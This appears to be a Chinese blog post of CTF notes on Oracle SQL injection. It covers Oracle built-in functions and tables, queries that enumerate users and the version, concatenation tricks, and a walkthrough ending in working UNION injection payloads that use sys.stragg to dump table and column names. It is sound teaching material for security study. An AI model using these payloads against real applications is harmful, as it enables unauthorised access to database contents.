• CTFWeb:Oracle SQL 注入


    相关的函数和表

    Oracle 的 SQL 注入和 MySQL 是一样的,不同在于数据库信息所在的表和一些函数不一样。

    内置函数

    函数 功能
    lenth() 返回字符串的长度
    count() 返回在给定的选择中被选的行数
    ascii() 表示将字符转换为 ASCII 码
    substr() 返回值为源字符串中指定起始位置和长度的字符串
    chr() 表示将 ASCII 码转换为字符

    内置数据表

    Oracle 查询需要带上表名,如“select * from xxx”。Oracle 有一个万能的表——dual 表,Oracle 保证 dual 里面永远只有一条记录。

    内置数据表 说明
    dual 表 是一个虚拟的表,用来构成 select 的语法规则
    user tables 表 该表的 table_name 列存放着当前数据库的所有表
    user tab columns 表 该表的 column_name 存放着表的所有列

    单行子查询返回多行需使用 where rownum = 1 来规范,Oracle 数据库从数据文件或缓冲区中读取数据的顺序。

    内置语句

    获取数据

    获取所有用户名:

    SQL> select username from all_users;
    

    获取数据库版本:

    SQL> select banner from sys.v_$version;
    

    获取当前登录的用户:

    SQL> select user from dual;
    

    字符串拼接

    使用 || 来进行字符串的拼接,当 || 使用失败时,可以使用 || 的 URL 编码 %7C%7C,下面的 sql 语句可以拼接出字符串“admin”。

    SQL> select 'a'||'d'||'m'||'i'||'n'from dual;
    

    下面的 sql 语句同理。

    SQL> select chr(97)||chr(100)||chr(109)||chr(105)||chr(110) from dual;
    

    使用 sys.stragg() 函数来在单行中获取所有行信息:

    SQL> select username from all_users;
    

    下面的语句也能使多行结果以一行显示,并用(--'隔开)

    SQL> select sys.stragg(username||'--')from all_users;
    

    Oracle 注入样例

    判断注入类型

    首先判断注入点,suser 和 sname 都可能可以注入。

    使用单引号闭合,网页返回报错信息。

    构造恒真条件,数据库返回正常的数据,说明此处存在单引号闭合的字符型注入。

    判断列数

    判断表有几列,使用 ORDER BY 子句进行一个排序,看一下对几列有效。

    判断哪些列是我们能用的,令参数的查询不到结果,然后使用 UNION 进行组合查询。

    获取数据库信息

    接下来开始爆表名,在 user_tables 进行查询,使用 sys.stragg() 函数合并查询结果。

    ' union select (select sys.stragg(table_name) from user_tables),null,null from dual --
    


    接下来爆 cms_users 表的字段,在 user_tab_columns 爆出来,注意使用 sys.stragg() 函数时“||”要转码一下。

    ' union select (select sys.stragg(column_name%7c%7c'--') from user_tab_columns where table_name='T_USER'),null,null from dual --
    

  • 相关阅读:
    在django如何使用中文
    《Jamie Zawinski访谈:在折腾中成长》读后感
    django处理静态文件
    [转]敏捷就循环往复的不断改进 & 测试不是寻找Bug的游戏 & 成功实施敏捷的十二种模式
    event.preventDefault()
    字符设备驱动Linux异常处理体系结构
    2.字符设备驱动按键中断及休眠
    内核中的宏定义__init、__initdata和__exit、__exitdata
    阻塞和非阻塞,同步和异步的概念辨析
    1.字符设备驱动Linux中断处理体系结构
  • 原文地址:https://www.cnblogs.com/linfangnan/p/15784743.html
Copyright © 2020-2023  润新知